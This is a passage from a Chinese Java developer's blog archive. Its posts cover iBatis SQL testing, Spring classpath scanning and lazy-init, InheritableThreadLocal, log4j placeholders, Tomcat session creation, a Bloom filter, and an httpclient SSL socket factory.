= ret.replaceFirst("\\?""'" + p.toString() + "'");
        }
        
return ret;
    }

    
public String getSql() {
        
return sql;
    }

    
public void setSql(String sql) {
        
this.sql = format(sql);
    }

    
public Object[] getParam() {
        
return param;
    }

    
public void setParam(Object[] param) {
        
this.param = param;
    }
}

IbatisSqlTester.java
/**
 * <pre>
 * IBtatis SQL 测试
 * 一般IBatis DAO单元测试,主要就是在测试ibatis的配置文件.
 * IbatisSqlTester将根据提供的Sql Map Id 和 对应的参数,返回 {
@link SqlStatement}对象,提供最终执行的sql语句
 * 通过外部SqlAssert对象,将预计Sql和实际产生的Sql进行对比,判断是否正确
 * </pre>
 * 
 * 
@author Stone.J 2010-8-9 下午02:58:46
 
*/
public class IbatisSqlTester {

    
// sqlMapClient
    private ExtendedSqlMapClient sqlMapClient;

    
/**
     * 根据提供的SqlMap ID,得到 {
@link SqlStatement}对象
     * 
     * 
@param sqlId: sql map id
     * 
@return @see {@link SqlStatement}
     
*/
    
public SqlStatement test(String sqlId) {
        
//得到MappedStatement对象
        MappedStatement ms = sqlMapClient.getMappedStatement(sqlId);
        
if (ms == null) {
            
//TODO:建议封转自己的异常对象
            throw new RuntimeException("can't find MappedStatement.");
        }

        
//按照Ibatis代码,得到Sql和Param信息
        RequestScope request = new RequestScope();
        ms.initRequest(request);
        Sql sql 
= ms.getSql();
        String sqlValue 
= sql.getSql(request, null);

        
//组转返回对象
        SqlStatement ret = new SqlStatement();
        ret.setSql(sqlValue);
        
return ret;
    }

    
/**
     * 根据提供的SqlMap ID和对应的param信息,得到 {
@link SqlStatement}对象
     * 
     * 
@param sqlId: sql map id
     * 
@param param: 参数内容
     * 
@return @see {@link SqlStatement}
     
*/
    
public SqlStatement test(String sqlId, Object param) {
        
//得到MappedStatement对象
        MappedStatement ms = sqlMapClient.getMappedStatement(sqlId);
        
if (ms == null) {
            
//TODO:建议封转自己的异常对象
            throw new RuntimeException("can't find MappedStatement.");
        }

        
//按照Ibatis代码,得到Sql和Param信息
        RequestScope request = new RequestScope();
        ms.initRequest(request);
        Sql sql 
= ms.getSql();
        String sqlValue 
= sql.getSql(request, param);
        Object[] sqlParam 
= sql.getParameterMap(request, param).getParameterObjectValues(request, param);

        
//组转返回对象
        SqlStatement ret = new SqlStatement();
        ret.setSql(sqlValue);
        ret.setParam(sqlParam);
        
return ret;
    }

    
/**
     * 设置SqlMapClient对象
     
*/
    
public void setSqlMapClient(ExtendedSqlMapClient sqlMapClient) {
        
this.sqlMapClient = sqlMapClient;
    }

    
/**
     * <pre>
     * 不推荐使用
     * 推荐使用: {
@link IbatisSqlTester#setSqlMapClient(ExtendedSqlMapClient)}
     * TODO:请去除这个方法,或者增加初始化的方式
     * </pre>
     * 
     * 
@param sqlMapConfig sqlMapConfig xml文件
     
*/
    
public void setSqlMapConfig(String sqlMapConfig) {
        InputStream in 
= null;
        
try {
            File file 
= ResourceUtils.getFile(sqlMapConfig);
            in 
= new FileInputStream(file);
            
this.sqlMapClient = (ExtendedSqlMapClient) SqlMapClientBuilder.buildSqlMapClient(in);
        } 
catch (Exception e) {
            
throw new RuntimeException("sqlMapConfig init error.", e);
        } 
finally {
            
if (in != null) {
                
try {
                    in.close();
                } 
catch (IOException e) {
                }
            }
        }
    }

}


最后的最后附上所有代码(通过单元测试代码,可以看如何使用).欢迎大家的讨论.
sqltester
builder

posted @ 2010-08-12 09:03 stone2083 阅读(3611) | 评论 (9)编辑 收藏

扫描classpath下类资源

很早之前,为了简化配置信息,自己写了一坨代码,基于classpath扫描类信息,加载.
其实,在spring中,已经提供了类似组件(后知后觉了...):

org.springframework.core.io.support.PathMatchingResourcePatternResolver  资源解析器(基于路径的正则表达式)
org.springframework.core.type.classreading.MetadataReader ClassMeta信息解读器

于是乎,代码就非常简单了:
 1 public class Test {
 2 
 3     /* 资源路径 */
 4     private static final String                  PATH           = "classpath*:com/alibaba/javalab/t*/**/*.class";
 5     /* 资源解析器 */
 6     private static final ResourcePatternResolver RESOLVER       = new PathMatchingResourcePatternResolver();
 7     /* Meta信息Reader Factory.用于创建MetaReader */
 8     private static final MetadataReaderFactory   READER_FACTORY = new SimpleMetadataReaderFactory();
 9 
10     public static void main(String[] args) throws Exception {
11         //根据正则表达式,得到资源列表
12         Resource[] resources = RESOLVER.getResources(PATH);
13         for (Resource res : resources) {
14             //通过 MetadataReader得到ClassMeta信息,打印类名
15             MetadataReader meta = READER_FACTORY.getMetadataReader(res);
16             System.out.println(meta.getClassMetadata().getClassName());
17         }
18     }
19 }

输出结果:
com.alibaba.javalab.tool.fetion.protocol.Config
com.alibaba.javalab.tool.fetion.protocol.Fetion
com.alibaba.javalab.tool.fetion.protocol.FetionHelper
com.alibaba.javalab.tool.fetion.protocol.LoginSession
com.alibaba.javalab.tool.trace.TimeTrace
...

挺好使的一个工具 :)


posted @ 2010-07-23 14:55 stone2083 阅读(1228) | 评论 (0)编辑 收藏

初识InheritableThreadLocal

一直来只知道ThreadLocal,直到最近看slf4j MDC实现代码的时候,才认识了InheritableThreadLocal.
InheritableThreadLocal顾名思义,可继承的ThreadLocal.
看类描述:
This class extends <tt>ThreadLocal</tt> to provide inheritance of values
 * from parent thread to child thread: when a child thread is created, the
 * child receives initial values for all inheritable thread-local variables
 * for which the parent has values.

测试代码:
 1 public class Test {
 2 
 3     public static void main(String[] args) {
 4         //使用ThreadLocal,父子线程之间,不共享Value
 5         final ThreadLocal<String> tl = new ThreadLocal<String>();
 6         tl.set("ThreadLocal-VAL");
 7         System.out.println("Main-1:" + tl.get());
 8         new Thread() {
 9             public void run() {
10                 System.out.println("Child-1:" + tl.get());
11             };
12         }.start();
13 
14         //使用InheritableThreadLocal,父线程Value可让子线程共享
15         final ThreadLocal<String> itl = new InheritableThreadLocal<String>();
16         itl.set("InheritableThreadLocal-VAL");
17         System.out.println("Main-2:" + itl.get());
18         new Thread() {
19             public void run() {
20                 System.out.println("Child-2:" + itl.get());
21             };
22         }.start();
23 
24     }
25 }

输出内容:
Main-1:ThreadLocal-VAL
Main-2:InheritableThreadLocal-VAL
Child-1:null
Child-2:InheritableThreadLocal-VAL


......分隔符号......

顺带着简单说下MDC.(Mapped Diagnostic Context). 中文直译太恶心了,我理解的意思是,和环境相关的上下文信息.
比如在web应用中,我们可以把用户的ip,访问url等放入到这个上下文中,log打印的时候,就能得到这个信息.

在slf4j BasicMDCAdapter实现中,就是用了InheritableThreadLocal
1 public class BasicMDCAdapter implements MDCAdapter {
2 
3   private InheritableThreadLocal inheritableThreadLocal = new InheritableThreadLocal();
4   
5   //.
6 
7 }

posted @ 2010-07-23 09:17 stone2083 阅读(2627) | 评论 (0)编辑 收藏

小谈PropertyPlaceholderConfigurer

背景:让应用在一个环境下,以多实例的方法运行.
Log问题,可以通过Log4j占位符实现(见前文:http://www.blogjava.net/stone2083/archive/2010/07/01/324935.html)
其他Java组件代码依赖了本地环境资源,怎么解决呢?

对于使用Spring的组件来说,PropertyPlaceholderConfigurer能帮我们解决这一问题.

PropertyPlaceholderConfigurer除了支持配置的properties文件外,还支持系统属性(System.getProperties()).当然,它有三种模式:
 1/** Never check system properties. */
 2public static final int SYSTEM_PROPERTIES_MODE_NEVER = 0;
 3 
 4/**
 5 * Check system properties if not resolvable in the specified properties.
 6 * This is the default.
 7 */
 8public static final int SYSTEM_PROPERTIES_MODE_FALLBACK = 1;
 9 
10/**
11 * Check system properties first, before trying the specified properties.
12 * This allows system properties to override any other property source.
13 */
14public static final int SYSTEM_PROPERTIES_MODE_OVERRIDE = 2;

对于使用本地环境资源的bean来说,只要配置:
 1 <bean class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">
 2     <property name="systemPropertiesModeName" value="SYSTEM_PROPERTIES_MODE_OVERRIDE" />
 3     <property name="locations">
 4         <list>
 5             <value>classpath*:spring/env.properties</value> <!--无需配置node-->
 6         </list>
 7     </property>
 8 </bean>
 9 
10 <bean id="javaBean" class="com.alibaba.javalab.spring.JavaBean">
11      <property name="lockFile" value="/home/stone/base/${node}/lock" />
12 </bean>


在启动脚本中,只要加入-Dnode=instanceX即可.

总结:
PropertyPlaceholderConfigurer支持properties文件和系统属性.并且存在三种覆盖策略.

posted @ 2010-07-23 08:51 stone2083 阅读(1301) | 评论 (0)编辑 收藏

新人破冰问题(挺搞笑,挺恶毒)

转自:http://blog.renren.com/blog/226112318/452978694


  1. 初次访问发生在几点几分?
  2. 完全打开首页花费多少时间?
  3. 是否浏览完整个首页后再去找login入口?
  4. 找login入口花了多少时间?
  5. 是否在服务器提示下找到入口?
  6. 在找到真正login页面之前,是否误入后台login页面?
  7. 是否使用XX助手找到入口?
  8. 输错了几次密码后成功登陆?
  9. 在第一次成功登陆的时候,是否使用https(安全连接)?
  10. 登陆之前购买了多少份https证书?
  11. 是否由于服务器带宽太小导致登入很慢?
  12. 登陆成功后服务器是否发出提示音?
  13. 登陆之后产生了多少PV才最终下单?
  14. 服务器是否在初次下单后给出红色回执?
  15. 下单之后留在处于登陆状态几分钟才离开?
  16. 整个访问过程一共产生了几个session?
  17. 平均session时长是几分钟?
  18. 当日访问的cookie类型是cookie2.2还是3.1?
  19. 当日一共下了多少单?
  20. 在之后的30日内的活跃度类型(5次-18次属于中度活跃度)


实践经验:
1. 对于封闭式题目(回答是与否),比较没劲:问问题的人描述了半天,回答者只回答一个是否者否.对于此类问题,要做改进
2. 有些问题,都不好意思问出口
3. 千万要根据新人的性格,决定是否是否这套模板,切忌切忌

posted @ 2010-07-23 08:32 stone2083 阅读(8703) | 评论 (0)编辑 收藏

Java Exception性能问题

     摘要: 背景: 大学里学java,老师口口声声,言之凿凿,告诫我们,Java千万别用异常控制业务流程,只有系统级别的问题,才能使用异常; (当时,我们都不懂为什么不能用异常,只知道老师这么说,我们就这么做,考试才不会错 :) ) 公司里,有两派.异常拥护者说,使用业务异常,代码逻辑更清晰,更OOP;反之者说,使用异常,性能非常糟糕; (当然,我是拥护者) 论坛上,争论得更多,仁者见仁智者见智,口...  阅读全文

posted @ 2010-07-09 14:30 stone2083 阅读(13878) | 评论 (16)编辑 收藏

让log4j支持占位符

目标:让log4j.xml配置文件中允许使用占位符(${key}).

使用场景:
在运行期决定一些动态的配置内容.
比如在我们项目中,希望一台物理机同一个应用跑多个实例.
因为多进程操作同一份log文件存在并发问题(打印,DailyRolling等),所以我希望配置如下:${loggingRoot}/${instance}/project.log
在运行脚本中,通过加入-Dinstance=instance1参数,来动态指定实例名.让同一份应用在不同的运行实例下,日志打印到不同的路径

Log4j分析:
我以为,Log4j天生就支持占位符的.请见:org.apache.log4j.helpers.OptionConverter.substVars(String val, Properties props)就有对占位符的处理.
org.apache.log4j.PropertyConfigurator (log4j.properties文件解析).默认就支持对占位符的处理.
org.apache.log4j.xml.DOMConfigurator挺怪异的.明明也有对占位符的处理.但是我们就是无法对其属性props进行赋值.
(当然,有可能是我误解了其props的用法--还没有完整读过他的源码)

处理方案:
继承org.apache.log4j.xml.DOMConfigurator,实现自己的DOMConfigurator.
public class PlaceHolderDOMConfigurator extends org.apache.log4j.xml.DOMConfigurator {

    
private Properties props;

    
public PlaceHolderDOMConfigurator(Properties props){
        
this.props = props;
    }

    
public static void configure(String filename, Properties props) {
        
new PlaceHolderDOMConfigurator(props).doConfigure(filename, LogManager.getLoggerRepository());
    }

    //主要是覆写这个方案.传入properties对象
    
protected String subst(String value) {
        
try {
            
return OptionConverter.substVars(value, props);
        } 
catch (IllegalArgumentException e) {
            LogLog.warn(
"Could not perform variable substitution.", e);
            
return value;
        }
    }
}

测试代码:
log4j.xml片段:
<appender name="PROJECT" class="org.apache.log4j.DailyRollingFileAppender">
        
<param name="file" value="${loggingRoot}/${instance}/project.log"/>
        
<param name="append" value="false"/>
        
<param name="encoding" value="GB2312"/>
        
<param name="threshold" value="info"/>
        
<layout class="org.apache.log4j.PatternLayout">
            
<param name="ConversionPattern" value="%d [%X{requestURIWithQueryString}] %-5p %c{2} - %m%n"/>
        
</layout>
    
</appender>
Run.java:
public static void main(String[] args) {
        Properties props 
= new Properties();
        props.setProperty(
"loggingRoot""d:/tmp");
        props.setProperty(
"instance""instance1");

        PlaceHolderDOMConfigurator.configure(LOG4J_PATH, props);
        Logger rootLogger 
= LogManager.getRootLogger();
        FileAppender fileAppender 
= (FileAppender) rootLogger.getAppender("PROJECT");
        System.out.println(fileAppender.getFile());
    }

输出结果:
d:/tmp/instance1/project.log

当然,你也可以通过在启动参数中加 -DloggingRoot=xxxx  -Dinstance=yyyy动态指定内容.


特别说明:
本文:log4j版本为1.2.14
log4j 1.2.15测试不通过,原因见:https://issues.apache.org/bugzilla/show_bug.cgi?id=43325

posted @ 2010-07-01 08:52 stone2083 阅读(12786) | 评论 (2)编辑 收藏

单元测试下简易性能测试工具

背景:
1.团队成员对质量意识逐渐提升;单元测试意识提升;
2.性能意识不足,往往到最后提交性能测试的时候,才发现性能问题;在开发阶段忽视对性能的考虑.
尤其在做对外服务的需求中,危害特别明显.

基于这两个原因,希望有一个在单元测试下的性能测试工具.提供最简单的性能指标报表.在开发阶段让开发对性能情况有个感性的认识.

设计思路:


概念说明:
 类名 方法
说明
Statistics 
说明:性能统计信息
tps() 提供tps
  average() 提供平均响应时间,单位毫秒
  total() 提供总耗时,单位毫秒
Job 
说明:测试单元逻辑
execute() 性能测试逻辑
Warn 
说明:性能未达标警告


PerformanceTester (核心)
说明:性能测试工具,根据制定的并发数和单个并发循环次数,进行性能测试;根据提供的平均响应时间,分析是否达标
test(Job job) 性能测试,打印性能报表,分析是否达标
JTesterxPerformance 
说明:基于JTester的性能测试基类,统一执行性能测试计划
备注:
JTester是我们公司同事编写的一套单元测试框架.我们同样可以提供基于JUnit的实现,比如JUnitPerformance
performance() 根据提供的性能策略,指标 和 测试逻辑,进行性能测试

job() 需要子类覆写,提供测试逻辑

testers() 需要子类覆写,提供性能测试策略和指标要求


User Guide:
  • Step1:
    创建一个性能测试类,继承com.alibaba.tpsc.common.test.jtesterx.JTesterxPerformance
    在类名标注@Test (org.testng.annotations.Test),表明需要进行TestNG的单元测试
    备注:如果是在其他单元测试框架下,请自行扩展类似JUnitPerformacne实现
  • Step2:
    覆写public Job job()方法.提供 性能测试名 和 性能测试逻辑
     

@Override
public Job job() {
    
return new Job("SampleService.hello") {
        @Override
        
public void execute() {
            SampleService.hello();
        }
    };
}
  • Step3:
    覆写public Collection<PerformanceTester> testers().提供一组性能测试策略(并发数,单个并发循环次数) 和 性  能测试指标(平均响应时间)
    性能测试工具会根据提供策略和指标,依次进行性能测试.
public Collection<PerformanceTester> testers() {
    Collection
<PerformanceTester> testers = new ArrayList<PerformanceTester>();
    
// 20个并发,单个并发循环1000次,平均响应时间阀值10ms
    testers.add(new PerformanceTester(20100010));
    
// 10个并发,单个并发循环1000次,平均响应时间阀值5ms
    testers.add(new PerformanceTester(1010005));
    
return testers;
}
  • Step4:
    右键点击Eclipse->Run As->TestNG Test.
    如果测试通过,则显示Green Bar
    如果测试未通过,则在Red Bar中显示:java.lang.AssertionError: performance expected is 1ms,but actual is 2.938ms.


工具代码和演示代码如下:
Demo下载

posted @ 2010-06-10 09:13 stone2083 阅读(2533) | 评论 (4)编辑 收藏

编程方式实现SpringBean LazyInit

Tags:
Spring  LazyInit DocumentDefaultsDefinition ReaderEventListener AbstractXmlApplicationContext

背景:
工程单元测试希望和生产环境应用共用一份Spring配置文件.
生产环境应用为了客户体验使用非LazyInit模式,但是单元测试下为了当前测试提高响应时间,希望设置LazyInit.

分析源代码,得知,Spring在解析XML时,会将Bean默认配置,放入到DocumentDefaultsDefinition对象中,其中包含lazyInit.
DocumentDefaultsDefinition注释如下:
Simple JavaBean that holds the defaults specified at the <beans> level in a standard Spring XML bean definition document: default-lazy-init, default-autowire, etc

Spring是否提供了入口点,进行DocumentDefaultsDefinition的修改呢?
详见:ReaderEventListener,注释如下:
Interface that receives callbacks for component, alias and import registrations during a bean definition reading process
在BeanDefinition分析过程中,对component,alias,import registrations,defaults registrations提供一组callbacks.

接口代码如下:
 1 public interface ReaderEventListener extends EventListener {
 2 
 3     /**
 4      * Notification that the given defaults has been registered.
 5      * @param defaultsDefinition a descriptor for the defaults
 6      * @see org.springframework.beans.factory.xml.DocumentDefaultsDefinition
 7      */
 8     void defaultsRegistered(DefaultsDefinition defaultsDefinition);
 9 
10     /**
11      * Notification that the given component has been registered.
12      * @param componentDefinition a descriptor for the new component
13      * @see BeanComponentDefinition
14      */
15     void componentRegistered(ComponentDefinition componentDefinition);
16 
17     /**
18      * Notification that the given alias has been registered.
19      * @param aliasDefinition a descriptor for the new alias
20      */
21     void aliasRegistered(AliasDefinition aliasDefinition);
22 
23     /**
24      * Notification that the given import has been processed.
25      * @param importDefinition a descriptor for the import
26      */
27     void importProcessed(ImportDefinition importDefinition);
28     
29 }

接下去分析,ReaderEventListener是在哪个入口点,提供了回调.答案是XmlBeanDefinitionReader.
在AbstractXmlApplicationContext,创建了XmlBeanDefinitionReader对象,见:
 1 public abstract class AbstractXmlApplicationContext extends AbstractRefreshableConfigApplicationContext {
 2     
 3     /**
 4      * Loads the bean definitions via an XmlBeanDefinitionReader.
 5      * @see org.springframework.beans.factory.xml.XmlBeanDefinitionReader
 6      * @see #initBeanDefinitionReader
 7      * @see #loadBeanDefinitions
 8      */
 9     protected void loadBeanDefinitions(DefaultListableBeanFactory beanFactory) throws IOException {
10         // Create a new XmlBeanDefinitionReader for the given BeanFactory.
11         XmlBeanDefinitionReader beanDefinitionReader = new XmlBeanDefinitionReader(beanFactory);
12 
13         // Configure the bean definition reader with this context's
14         // resource loading environment.
15         beanDefinitionReader.setResourceLoader(this);
16         beanDefinitionReader.setEntityResolver(new ResourceEntityResolver(this));
17 
18         // Allow a subclass to provide custom initialization of the reader,
19         // then proceed with actually loading the bean definitions.
20         initBeanDefinitionReader(beanDefinitionReader);
21         loadBeanDefinitions(beanDefinitionReader);
22     }
23 
24 }

我们只需要去复写这个方法,在创建XmlBeanDefinitionReader的时候,去注入EventListener即可.

扩展代码如下:
LazyInitListener.java (不管配置文件如何配置,设置默认的LazyInit为true)
public class LazyInitListener implements ReaderEventListener {

    
private static final String LAZY_INIT = "true";

    @Override
    
public void defaultsRegistered(DefaultsDefinition defaultsDefinition) {
        
//set lazy init true
        if (defaultsDefinition instanceof DocumentDefaultsDefinition) {
            DocumentDefaultsDefinition defaults 
= (DocumentDefaultsDefinition) defaultsDefinition;
            defaults.setLazyInit(LAZY_INIT);
        }
    }

    @Override
    
public void aliasRegistered(AliasDefinition aliasDefinition) {
        
//no-op
    }

    @Override
    
public void componentRegistered(ComponentDefinition componentDefinition) {
        
//no-op
    }

    @Override
    
public void importProcessed(ImportDefinition importDefinition) {
        
//no-op
    }

}

LazyInitClasspathXmlApplicationContext.java (复写AbstractXmlApplicationContext,创建XmlBeanDefinitionReader的时候注入LazyInitListener)
 1 public class LazyInitClasspathXmlApplicationContext extends ClassPathXmlApplicationContext {
 2 
 3     public LazyInitClasspathXmlApplicationContext(String location) {
 4         super(location);
 5     }
 6 
 7     @Override
 8     protected void loadBeanDefinitions(DefaultListableBeanFactory beanFactory) throws IOException {
 9         // Create a new XmlBeanDefinitionReader for the given BeanFactory.
10         XmlBeanDefinitionReader beanDefinitionReader = new XmlBeanDefinitionReader(beanFactory);
11 
12         // Configure the bean definition reader with this context's
13         // resource loading environment.
14         beanDefinitionReader.setResourceLoader(this);
15         beanDefinitionReader.setEntityResolver(new ResourceEntityResolver(this));
16 
17         // 添加的代码,设置LazyInitListener
18         beanDefinitionReader.setEventListener(new LazyInitListener());
19 
20         // Allow a subclass to provide custom initialization of the reader,
21         // then proceed with actually loading the bean definitions.
22         initBeanDefinitionReader(beanDefinitionReader);
23         loadBeanDefinitions(beanDefinitionReader);
24     }
25 
26 }

演示代码如下:
TestBean:一个Spring Bean对象
public class TestBean {

    
public void init() {
        
try {
            Thread.sleep(
5000);
        } 
catch (InterruptedException e) {
            
//ignore
            System.out.println(e);
        }
        System.out.println(
"TestBean Init");
    }
}

Spring配置文件:
1 <?xml version="1.0" encoding="UTF-8"?>
2 <beans xmlns="http://www.springframework.org/schema/beans"
3     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4     xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.5.xsd">
5 
6     <bean id="testBean" class="com.alibaba.javalab.spring.lazy.TestBean" init-method="init" />
7 </beans>

测试代码:
 1 public class Run {
 2 
 3     private static final String CONFIG = "classpath:spring/bean.xml";
 4 
 5     public static void main(String[] args) {
 6         testInit();
 7         System.out.println("===============================");
 8         testLazyInit();
 9     }
10 
11     public static void testInit() {
12         new ClassPathXmlApplicationContext(CONFIG);
13     }
14 
15     public static void testLazyInit() {
16         new LazyInitClasspathXmlApplicationContext(CONFIG);
17     }
18 }


大功告成.收工. :)

posted @ 2010-06-03 12:46 stone2083 阅读(3202) | 评论 (2)编辑 收藏

Tomcat(6.0.14) Session创建机制简介

背景:
公司的一个web应用,提交给测试部门做压力测试(由于不是我负责的,不清楚如何做的压力测试,以及测试指标),结果没压多久,就出现OutOfMemory.
接手协助原因查找,通过监控工具,发现StandardSession(org.apache.catalina.session.StandardSession)对象不断增长,毫无疑问,肯定是在不断创建Session对象.
备注:一般做压力测试,每次请求都不会指定JESSESIONID值,导致Web容器认为每次请求都是新的请求,于是创建Session对象.
同事负责代码Review,发现应用没有任何一个地方存放Session内容.困惑之...

问题:Tomcat容器何时创建Session对象?
想当然认为,只有动态存放Session内容的时候,才会创建Session对象.但是事实真得如此吗?

先看Servlet协议描述:
请看:
getSession(boolean create)方法:
javax.servlet.http.HttpServletRequest.getSession(boolean create)

Returns the current HttpSession associated with this request or, if if there is no current session and create is true, returns a new session. 

If create is false and the request has no valid HttpSession, this method returns null. 

To make sure the session is properly maintained, you must call this method before the response is committed.

简单地说:当create变量为true时,如果当前Session不存在,创建一个新的Session并且返回.

getSession()方法:
javax.servlet.http.HttpSession getSession();

Returns the current session associated with this request, or if the request does not have a session, creates one.
简单的说:当当前Session不存在,创建并且返回.


所以说,协议规定,在调用getSession方法的时候,就会创建Session对象.



既然协议这么定了,我们再来看看Tomcat是如何实现的:(下面的描述,是基于Tomcat6.0.14版本源码)
先看一张简单的类图:


ApplicationContext:Servlet规范中ServletContext的实现
StandardContext:Tomcat定义的Context默认实现.维护了一份SessionManager对象,管理Session对象.所有的Session对象都存放在Manager定义的Map<String,Session>容器中.
StanardManager:标准的Session管理,将Session存放在内容,Web容器关闭的时候,持久化到本地文件
PersistentManager:持久化实现的Session管理,默认有两种实现方式:
--持久化到本地文件
--持久化到数据库

了解了大概的概念后,回头再来看看org.apache.catalina.connector.Request.getSession()是如何实现的.
最终调用的是doGetSession(boolean create)方法,请看:
protected Session doGetSession(boolean create) {

        
// There cannot be a session if no context has been assigned yet
        if (context == null)
            
return (null);

        
// Return the current session if it exists and is valid
        if ((session != null&& !session.isValid())
            session 
= null;
        
if (session != null)
            
return (session);

        
// Return the requested session if it exists and is valid
        Manager manager = null;
        
if (context != null)
            manager 
= context.getManager();
        
if (manager == null)
            
return (null);      // Sessions are not supported
        if (requestedSessionId != null) {
            
try {
                session 
= manager.findSession(requestedSessionId);
            } 
catch (IOException e) {
                session 
= null;
            }
            
if ((session != null&& !session.isValid())
                session 
= null;
            
if (session != null) {
                session.access();
                
return (session);
            }
        }

        
// Create a new session if requested and the response is not committed
        if (!create)
            
return (null);
        
if ((context != null&& (response != null&&
            context.getCookies() 
&&
            response.getResponse().isCommitted()) {
            
throw new IllegalStateException
              (sm.getString(
"coyoteRequest.sessionCreateCommitted"));
        }

        
// Attempt to reuse session id if one was submitted in a cookie
        
// Do not reuse the session id if it is from a URL, to prevent possible
        
// phishing attacks
        if (connector.getEmptySessionPath() 
                
&& isRequestedSessionIdFromCookie()) {
            session 
= manager.createSession(getRequestedSessionId());
        } 
else {
            session 
= manager.createSession(null);
        }

        
// Creating a new session cookie based on that session
        if ((session != null&& (getContext() != null)
               
&& getContext().getCookies()) {
            Cookie cookie 
= new Cookie(Globals.SESSION_COOKIE_NAME,
                                       session.getIdInternal());
            configureSessionCookie(cookie);
            response.addCookieInternal(cookie, context.getUseHttpOnly());
        }

        
if (session != null) {
            session.access();
            
return (session);
        } 
else {
            
return (null);
        }

    }


至此,简单地描述了Tomcat Session创建的机制,有兴趣的同学要深入了解,不妨看看Tomcat源码实现.



补充说明,顺便提一下Session的过期策略.
过期方法在:
org.apache.catalina.session.ManagerBase(StandardManager基类) processExpires方法:
public void processExpires() {

        
long timeNow = System.currentTimeMillis();
        Session sessions[] 
= findSessions();
        
int expireHere = 0 ;
        
        
if(log.isDebugEnabled())
            log.debug(
"Start expire sessions " + getName() + " at " + timeNow + " sessioncount " + sessions.length);
        
for (int i = 0; i < sessions.length; i++) {
            
if (sessions[i]!=null && !sessions[i].isValid()) {
                expireHere
++;
            }
        }
        
long timeEnd = System.currentTimeMillis();
        
if(log.isDebugEnabled())
             log.debug(
"End expire sessions " + getName() + " processingTime " + (timeEnd - timeNow) + " expired sessions: " + expireHere);
        processingTime 
+= ( timeEnd - timeNow );

    }

其中,Session.isValid()方法会做Session的清除工作.


在org.apache.catalina.core.ContainerBase中,会启动一个后台线程,跑一些后台任务,Session过期任务是其中之一:
protected void threadStart() {

        
if (thread != null)
            
return;
        
if (backgroundProcessorDelay <= 0)
            
return;

        threadDone 
= false;
        String threadName 
= "ContainerBackgroundProcessor[" + toString() + "]";
        thread 
= new Thread(new ContainerBackgroundProcessor(), threadName);
        thread.setDaemon(
true);
        thread.start();

    }


OVER :)

posted @ 2010-02-26 16:12 stone2083 阅读(7105) | 评论 (4)编辑 收藏

布隆过滤器(BloomFilter)

资料:
wikipedia--bloom filter

使用场景,原理简介之中文资料:
数学之美系列二十一 - 布隆过滤器(Bloom Filter)

核心内容(摘自Google黑板报文章内容):


BloomFilter简易实现:
public class SimpleBloomFilter {

    
private static final int   DEFAULT_SIZE = 2 << 24;
    
private static final int[] seeds        = new int[] { 71113313761, };

    
private BitSet             bits         = new BitSet(DEFAULT_SIZE);
    
private SimpleHash[]       func         = new SimpleHash[seeds.length];

    
public static void main(String[] args) {
        String value 
= "stone2083@yahoo.cn";
        SimpleBloomFilter filter 
= new SimpleBloomFilter();
        System.out.println(filter.contains(value));
        filter.add(value);
        System.out.println(filter.contains(value));
    }

    
public SimpleBloomFilter() {
        
for (int i = 0; i < seeds.length; i++) {
            func[i] 
= new SimpleHash(DEFAULT_SIZE, seeds[i]);
        }
    }

    
public void add(String value) {
        
for (SimpleHash f : func) {
            bits.set(f.hash(value), 
true);
        }
    }

    
public boolean contains(String value) {
        
if (value == null) {
            
return false;
        }
        
boolean ret = true;
        
for (SimpleHash f : func) {
            ret 
= ret && bits.get(f.hash(value));
        }
        
return ret;
    }

    
public static class SimpleHash {

        
private int cap;
        
private int seed;

        
public SimpleHash(int cap, int seed) {
            
this.cap = cap;
            
this.seed = seed;
        }

        
public int hash(String value) {
            
int result = 0;
            
int len = value.length();
            
for (int i = 0; i < len; i++) {
                result 
= seed * result + value.charAt(i);
            }
            
return (cap - 1& result;
        }

    }

}



posted @ 2010-01-30 15:00 stone2083 阅读(2653) | 评论 (0)编辑 收藏

httpclient ssl support

手头上一些工作,需要经常访问公司内网的数据,为了减少重复的劳动力,就考虑程序帮忙爬取信息数据。
apache下httpclient是一个很好的工具,不过公司内网是使用HTTPS协议的,于是乎,就需要考虑如何让httpclient支持https。
支持ssl的关键,在于如何创建一个SSLSocket,幸好,httpclient提供了支持。

请看:
org.apache.commons.httpclient.protocol.ProtocolSocketFactory
javadocs:A factory for creating Sockets.

实现一个简单的EasySSLProtocolSocketFactory,详见代码:
public class EasySSLProtocolSocketFactory implements ProtocolSocketFactory {

    
private SSLContext sslcontext = null;

    
private String     ksfile;
    
private String     tksfile;
    
private String     kspwd;
    
private String     tkspwd;

    
public EasySSLProtocolSocketFactory(String ks, String kspwd, String tks, String tkspwd){
        
this.ksfile = ks;
        
this.kspwd = kspwd;
        
this.tksfile = tks;
        
this.tkspwd = tkspwd;
    }

    
public Socket createSocket(String host, int port, InetAddress clientHost, int clientPort) throws IOException,
                                                                                             UnknownHostException {
        
return getSSLContext().getSocketFactory().createSocket(host, port, clientHost, clientPort);
    }

    
public Socket createSocket(final String host, final int port, final InetAddress localAddress, final int localPort,
                               
final HttpConnectionParams params) throws IOException, UnknownHostException,
                                                                 ConnectTimeoutException {
        
if (params == null) {
            
throw new IllegalArgumentException("Parameters may not be null");
        }
        
int timeout = params.getConnectionTimeout();
        SocketFactory socketfactory 
= getSSLContext().getSocketFactory();
        
if (timeout == 0) {
            
return socketfactory.createSocket(host, port, localAddress, localPort);
        } 
else {
            Socket socket 
= socketfactory.createSocket();
            SocketAddress localaddr 
= new InetSocketAddress(localAddress, localPort);
            SocketAddress remoteaddr 
= new InetSocketAddress(host, port);
            socket.bind(localaddr);
            socket.connect(remoteaddr, timeout);
            
return socket;
        }
    }

    
public Socket createSocket(String host, int port) throws IOException, UnknownHostException {
        
return getSSLContext().getSocketFactory().createSocket(host, port);
    }

    
public Socket createSocket(Socket socket, String host, int port, boolean autoClose) throws IOException,
                                                                                       UnknownHostException {
        
return getSSLContext().getSocketFactory().createSocket(socket, host, port, autoClose);
    }

    
private SSLContext createEasySSLContext() {
        
try {
            SSLContext context 
= SSLContext.getInstance("SSL");

            KeyManagerFactory kmf 
= KeyManagerFactory.getInstance("SunX509");
            TrustManagerFactory tmf 
= TrustManagerFactory.getInstance("SunX509");

            KeyStore ks 
= KeyStore.getInstance("JKS");
            KeyStore tks 
= KeyStore.getInstance("JKS");

            ks.load(
new FileInputStream(ksfile), kspwd.toCharArray());
            tks.load(
